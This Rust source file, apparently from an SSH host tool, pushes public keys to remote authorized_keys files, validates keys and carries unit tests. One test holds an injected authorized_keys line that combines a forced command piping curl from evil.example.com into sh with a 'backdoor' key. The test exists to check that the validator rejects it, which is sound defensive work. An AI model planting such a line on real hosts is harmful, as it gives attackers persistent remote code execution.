1use std::io::Write;
13use std::path::{Path, PathBuf};
14use std::process::{Command, Stdio};
15use std::sync::Arc;
16use std::sync::atomic::{AtomicBool, Ordering};
17
18use log::debug;
19
20#[derive(Debug, Clone, PartialEq, Eq)]
24pub enum KeyPushOutcome {
25 Appended,
27 AlreadyPresent,
29 Failed(String),
33}
34
35#[derive(Debug, Clone, PartialEq, Eq)]
38pub struct KeyPushResult {
39 pub alias: String,
40 pub outcome: KeyPushOutcome,
41}
42
43const STDERR_BUDGET: usize = 200;
47
48const MARKER_APPENDED: &str = "__PURPLE_KEY_PUSH:APPENDED__";
54const MARKER_ALREADY_PRESENT: &str = "__PURPLE_KEY_PUSH:ALREADY_PRESENT__";
55const MARKER_APPEND_FAILED: &str = "__PURPLE_KEY_PUSH:APPEND_FAILED__";
56
57const REMOTE_SNIPPET: &str = r#"umask 077
85if [ ! -d ~/.ssh ]; then
86 mkdir -p ~/.ssh
87 chmod 700 ~/.ssh
88fi
89if [ ! -f ~/.ssh/authorized_keys ]; then
90 touch ~/.ssh/authorized_keys
91 chmod 600 ~/.ssh/authorized_keys
92fi
93PUBKEY=$(cat | tr -d '\r')
94if tr -d '\r' < ~/.ssh/authorized_keys 2>/dev/null | grep -qxF -- "$PUBKEY"; then
95 echo __PURPLE_KEY_PUSH:ALREADY_PRESENT__
96 exit 0
97fi
98printf '%s\n' "$PUBKEY" >> ~/.ssh/authorized_keys || { echo __PURPLE_KEY_PUSH:APPEND_FAILED__; exit 1; }
99echo __PURPLE_KEY_PUSH:APPENDED__
100"#;
101
102pub fn classify_stdout(stdout: &str) -> Option<KeyPushOutcome> {
107 let trimmed = stdout.trim();
108 let last = trimmed
109 .lines()
110 .map(|l| l.trim_end_matches('\r').trim())
111 .rfind(|l| !l.is_empty())?;
112 match last {
113 MARKER_APPENDED => Some(KeyPushOutcome::Appended),
114 MARKER_ALREADY_PRESENT => Some(KeyPushOutcome::AlreadyPresent),
115 MARKER_APPEND_FAILED => Some(KeyPushOutcome::Failed(
116 "remote append failed (disk full, read-only mount?)".to_string(),
117 )),
118 _ => None,
119 }
120}
121
122fn scrub_stderr(raw: &str) -> String {
127 let cleaned: String = raw
128 .chars()
129 .filter(|c| !c.is_control() || *c == '\n')
130 .collect();
131 let joined = cleaned
132 .lines()
133 .map(str::trim)
134 .filter(|l| !l.is_empty())
135 .collect::<Vec<_>>()
136 .join(" ");
137 if joined.chars().count() > STDERR_BUDGET {
138 joined.chars().take(STDERR_BUDGET).collect::<String>() + "..."
139 } else {
140 joined
141 }
142}
143
144pub fn push_to_host(
150 pubkey: &str,
151 alias: &str,
152 config_path: &Path,
153 cancel: &Arc<AtomicBool>,
154) -> KeyPushOutcome {
155 if cancel.load(Ordering::Relaxed) {
156 return KeyPushOutcome::Failed("cancelled".to_string());
157 }
158
159 let mut cmd = Command::new("ssh");
160 cmd.arg("-F")
161 .arg(config_path)
162 .arg("-T")
163 .arg("-o")
164 .arg("ConnectTimeout=10")
165 .arg("-o")
171 .arg("ServerAliveInterval=10")
172 .arg("-o")
173 .arg("ServerAliveCountMax=3")
174 .arg("-o")
175 .arg("ControlMaster=no")
176 .arg("-o")
177 .arg("ControlPath=none")
178 .arg("--")
179 .arg(alias)
180 .arg(REMOTE_SNIPPET)
181 .stdin(Stdio::piped())
182 .stdout(Stdio::piped())
183 .stderr(Stdio::piped());
184
185 let mut child = match cmd.spawn() {
186 Ok(c) => c,
187 Err(e) => {
188 debug!("[purple] key_push: spawn failed alias={} err={}", alias, e);
189 return KeyPushOutcome::Failed(format!("spawn ssh: {}", e));
190 }
191 };
192
193 if let Some(stdin) = child.stdin.as_mut() {
196 let payload = if pubkey.ends_with('\n') {
197 pubkey.to_string()
198 } else {
199 format!("{}\n", pubkey)
200 };
201 if let Err(e) = stdin.write_all(payload.as_bytes()) {
202 debug!(
203 "[purple] key_push: stdin write failed alias={} err={}",
204 alias, e
205 );
206 let _ = child.kill();
207 let _ = child.wait();
208 return KeyPushOutcome::Failed(format!("write pubkey: {}", e));
209 }
210 }
211 drop(child.stdin.take());
213
214 let output = match child.wait_with_output() {
215 Ok(o) => o,
216 Err(e) => {
217 debug!("[purple] key_push: wait failed alias={} err={}", alias, e);
218 return KeyPushOutcome::Failed(format!("wait ssh: {}", e));
219 }
220 };
221
222 let stdout = String::from_utf8_lossy(&output.stdout);
223 let stderr = String::from_utf8_lossy(&output.stderr);
224
225 if !output.status.success() {
226 let scrubbed = scrub_stderr(&stderr);
227 let msg = if scrubbed.is_empty() {
228 format!("ssh exited {}", output.status)
229 } else {
230 scrubbed
231 };
232 debug!(
233 "[purple] key_push: failed alias={} status={} stderr={}",
234 alias, output.status, msg
235 );
236 return KeyPushOutcome::Failed(msg);
237 }
238
239 match classify_stdout(&stdout) {
240 Some(outcome) => {
241 debug!("[purple] key_push: alias={} outcome={:?}", alias, outcome);
242 outcome
243 }
244 None => {
245 let preview = scrub_stderr(&stdout);
246 KeyPushOutcome::Failed(format!(
247 "unexpected snippet output: {}",
248 if preview.is_empty() {
249 "(empty)"
250 } else {
251 &preview
252 }
253 ))
254 }
255 }
256}
257
258pub const PUBKEY_MAX_BYTES: u64 = 16 * 1024;
262
263const ALLOWED_KEY_TYPES: &[&str] = &[
268 "ssh-rsa",
269 "ssh-ed25519",
270 "ssh-dss",
271 "ecdsa-sha2-nistp256",
272 "ecdsa-sha2-nistp384",
273 "ecdsa-sha2-nistp521",
274 "sk-ssh-ed25519@openssh.com",
275 "sk-ecdsa-sha2-nistp256@openssh.com",
276];
277
278#[derive(Debug, Clone, PartialEq, Eq)]
280pub enum PubkeyValidationError {
281 Empty,
282 MultiLine,
283 UnsupportedType(String),
284 MalformedBase64,
285 TooLarge(u64),
286 NotARegularFile,
287}
288
289pub fn validate_pubkey(raw: &str) -> Result<String, PubkeyValidationError> {
296 let trimmed = raw.trim_end_matches(['\n', '\r', ' ', '\t']);
297 if trimmed.is_empty() {
298 return Err(PubkeyValidationError::Empty);
299 }
300 if trimmed.lines().count() != 1 {
301 return Err(PubkeyValidationError::MultiLine);
302 }
303 let mut parts = trimmed.splitn(3, ' ');
304 let typ = parts.next().unwrap_or("");
305 let blob = parts.next().unwrap_or("");
306 if !ALLOWED_KEY_TYPES.contains(&typ) {
307 return Err(PubkeyValidationError::UnsupportedType(typ.to_string()));
308 }
309 if blob.is_empty() {
310 return Err(PubkeyValidationError::MalformedBase64);
311 }
312 use base64::Engine;
313 if base64::engine::general_purpose::STANDARD
314 .decode(blob.as_bytes())
315 .is_err()
316 {
317 return Err(PubkeyValidationError::MalformedBase64);
318 }
319 Ok(trimmed.to_string())
320}
321
322pub fn read_pubkey_file(path: &Path) -> Result<String, PubkeyValidationError> {
327 use std::io::Read;
328 let mut opts = std::fs::OpenOptions::new();
329 opts.read(true);
330 #[cfg(unix)]
331 {
332 use std::os::unix::fs::OpenOptionsExt;
333 opts.custom_flags(libc::O_NOFOLLOW);
334 }
335 let f = opts
336 .open(path)
337 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
338 let meta = f
339 .metadata()
340 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
341 if !meta.file_type().is_file() {
342 return Err(PubkeyValidationError::NotARegularFile);
343 }
344 if meta.len() > PUBKEY_MAX_BYTES {
345 return Err(PubkeyValidationError::TooLarge(meta.len()));
346 }
347 let mut buf = String::new();
348 f.take(PUBKEY_MAX_BYTES)
349 .read_to_string(&mut buf)
350 .map_err(|_| PubkeyValidationError::NotARegularFile)?;
351 Ok(buf)
352}
353
354pub fn pubkey_path_for(display_path: &str) -> PathBuf {
358 let with_pub = format!("{}.pub", display_path);
359 if let Some(rest) = with_pub.strip_prefix("~/") {
360 if let Some(home) = dirs::home_dir() {
361 return home.join(rest);
362 }
363 }
364 PathBuf::from(with_pub)
365}
366
367#[cfg(test)]
368mod tests {
369 use super::*;
370
371 #[test]
372 fn classify_stdout_appended() {
373 assert_eq!(
374 classify_stdout("__PURPLE_KEY_PUSH:APPENDED__\n"),
375 Some(KeyPushOutcome::Appended)
376 );
377 }
378
379 #[test]
380 fn classify_stdout_already_present() {
381 assert_eq!(
382 classify_stdout("__PURPLE_KEY_PUSH:ALREADY_PRESENT__\n"),
383 Some(KeyPushOutcome::AlreadyPresent)
384 );
385 }
386
387 #[test]
388 fn classify_stdout_append_failed() {
389 match classify_stdout("__PURPLE_KEY_PUSH:APPEND_FAILED__\n") {
390 Some(KeyPushOutcome::Failed(_)) => {}
391 other => panic!("expected Failed, got {:?}", other),
392 }
393 }
394
395 #[test]
396 fn classify_stdout_motd_then_marker() {
397 let stdout = "Welcome to Ubuntu 22.04\nLast login: ...\n__PURPLE_KEY_PUSH:APPENDED__\n";
400 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
401 }
402
403 #[test]
404 fn classify_stdout_motd_word_collision_does_not_match() {
405 let stdout = "Welcome. APPENDED was a great patch.\nhave a good day\n";
409 assert_eq!(classify_stdout(stdout), None);
410 }
411
412 #[test]
413 fn classify_stdout_crlf_line_endings() {
414 let stdout = "Welcome\r\n__PURPLE_KEY_PUSH:APPENDED__\r\n";
417 assert_eq!(classify_stdout(stdout), Some(KeyPushOutcome::Appended));
418 }
419
420 #[test]
421 fn classify_stdout_unknown_returns_none() {
422 assert_eq!(classify_stdout("hello\nworld\n"), None);
423 }
424
425 #[test]
426 fn classify_stdout_empty_returns_none() {
427 assert_eq!(classify_stdout(""), None);
428 assert_eq!(classify_stdout("\n\n"), None);
429 }
430
431 #[test]
432 fn scrub_stderr_drops_control_bytes() {
433 let raw = "\x1b[31mError: connection refused\x1b[0m\n";
435 let scrubbed = scrub_stderr(raw);
436 assert!(!scrubbed.contains('\x1b'));
437 assert!(scrubbed.contains("Error"));
438 }
439
440 #[test]
441 fn scrub_stderr_joins_lines() {
442 let raw = "line1\nline2\nline3\n";
443 assert_eq!(scrub_stderr(raw), "line1 line2 line3");
444 }
445
446 #[test]
447 fn scrub_stderr_truncates_long_input() {
448 let raw = "x".repeat(STDERR_BUDGET * 2);
449 let scrubbed = scrub_stderr(&raw);
450 assert!(scrubbed.ends_with("..."));
451 assert!(scrubbed.chars().count() <= STDERR_BUDGET + 3);
452 }
453
454 #[test]
455 fn scrub_stderr_empty_input() {
456 assert_eq!(scrub_stderr(""), "");
457 assert_eq!(scrub_stderr(" \n\n \n"), "");
458 }
459
460 #[test]
461 fn pubkey_path_appends_pub_suffix() {
462 let p = pubkey_path_for("/tmp/id_ed25519");
463 assert_eq!(p.to_string_lossy(), "/tmp/id_ed25519.pub");
464 }
465
466 #[test]
467 fn pubkey_path_expands_tilde() {
468 let p = pubkey_path_for("~/.ssh/id_ed25519");
469 assert!(!p.to_string_lossy().starts_with('~'));
470 assert!(p.to_string_lossy().ends_with(".ssh/id_ed25519.pub"));
471 }
472
473 #[test]
474 fn push_to_host_short_circuits_when_cancel_is_set() {
475 let cancel = Arc::new(AtomicBool::new(true));
480 let outcome = push_to_host(
481 "ssh-ed25519 AAAA test@host",
482 "this-alias-does-not-exist",
483 std::path::Path::new("/tmp/purple-nonexistent-config"),
484 &cancel,
485 );
486 match outcome {
487 KeyPushOutcome::Failed(msg) => {
488 assert!(
489 msg.contains("cancel"),
490 "expected cancel message, got: {}",
491 msg
492 );
493 }
494 other => panic!("expected Failed(cancelled), got {:?}", other),
495 }
496 }
497
498 #[test]
499 fn validate_pubkey_accepts_ed25519() {
500 let line = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion";
501 assert_eq!(validate_pubkey(line).unwrap(), line);
502 }
503
504 #[test]
505 fn validate_pubkey_strips_trailing_whitespace() {
506 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 ops@bastion\n\r\n";
507 let cleaned = validate_pubkey(raw).unwrap();
508 assert!(!cleaned.ends_with('\n'));
509 assert!(!cleaned.ends_with('\r'));
510 }
511
512 #[test]
513 fn validate_pubkey_rejects_empty() {
514 assert_eq!(validate_pubkey(""), Err(PubkeyValidationError::Empty));
515 assert_eq!(
516 validate_pubkey(" \n\n"),
517 Err(PubkeyValidationError::Empty)
518 );
519 }
520
521 #[test]
522 fn validate_pubkey_rejects_multi_line_command_injection() {
523 let raw = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb1 real@host\ncommand=\"curl evil.example.com|sh\",no-pty ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnSCk/2pwG7QHQHIvF2UxYZsMP1qJ4XbJjT7mxBSBb2 backdoor@host";
527 assert_eq!(validate_pubkey(raw), Err(PubkeyValidationError::MultiLine));
528 }
529
530 #[test]
531 fn validate_pubkey_rejects_unknown_type() {
532 let raw = "ssh-ed25519-cert-v01@openssh.com AAAA cert@host";
533 match validate_pubkey(raw) {
534 Err(PubkeyValidationError::UnsupportedType(t)) => {
535 assert_eq!(t, "ssh-ed25519-cert-v01@openssh.com");
536 }
537 other => panic!("expected UnsupportedType, got {:?}", other),
538 }
539 }
540
541 #[test]
542 fn validate_pubkey_rejects_bogus_base64() {
543 let raw = "ssh-ed25519 not!valid!base64!?? comment";
544 assert_eq!(
545 validate_pubkey(raw),
546 Err(PubkeyValidationError::MalformedBase64)
547 );
548 }
549
550 #[test]
551 fn validate_pubkey_rejects_empty_blob() {
552 let raw = "ssh-ed25519 comment";
553 assert_eq!(
554 validate_pubkey(raw),
555 Err(PubkeyValidationError::MalformedBase64)
556 );
557 }
558
559 #[test]
560 fn read_pubkey_file_rejects_oversize() {
561 let dir = tempfile::tempdir().expect("tempdir");
562 let path = dir.path().join("huge.pub");
563 let body = "x".repeat((PUBKEY_MAX_BYTES + 1) as usize);
564 std::fs::write(&path, body).unwrap();
565 match read_pubkey_file(&path) {
566 Err(PubkeyValidationError::TooLarge(n)) => {
567 assert!(n > PUBKEY_MAX_BYTES);
568 }
569 other => panic!("expected TooLarge, got {:?}", other),
570 }
571 }
572
573 #[cfg(unix)]
574 #[test]
575 fn read_pubkey_file_rejects_symlink() {
576 let dir = tempfile::tempdir().expect("tempdir");
577 let target = dir.path().join("real.pub");
578 std::fs::write(&target, "ssh-ed25519 AAAA test@host").unwrap();
579 let link = dir.path().join("link.pub");
580 std::os::unix::fs::symlink(&target, &link).unwrap();
581 assert!(matches!(
582 read_pubkey_file(&link),
583 Err(PubkeyValidationError::NotARegularFile)
584 ));
585 }
586
587 #[test]
588 fn remote_snippet_has_expected_markers() {
589 assert!(REMOTE_SNIPPET.contains(MARKER_APPENDED));
592 assert!(REMOTE_SNIPPET.contains(MARKER_ALREADY_PRESENT));
593 assert!(REMOTE_SNIPPET.contains(MARKER_APPEND_FAILED));
594 assert!(REMOTE_SNIPPET.contains("grep -qxF"));
595 assert!(REMOTE_SNIPPET.contains("tr -d '\\r'"));
598 }
599}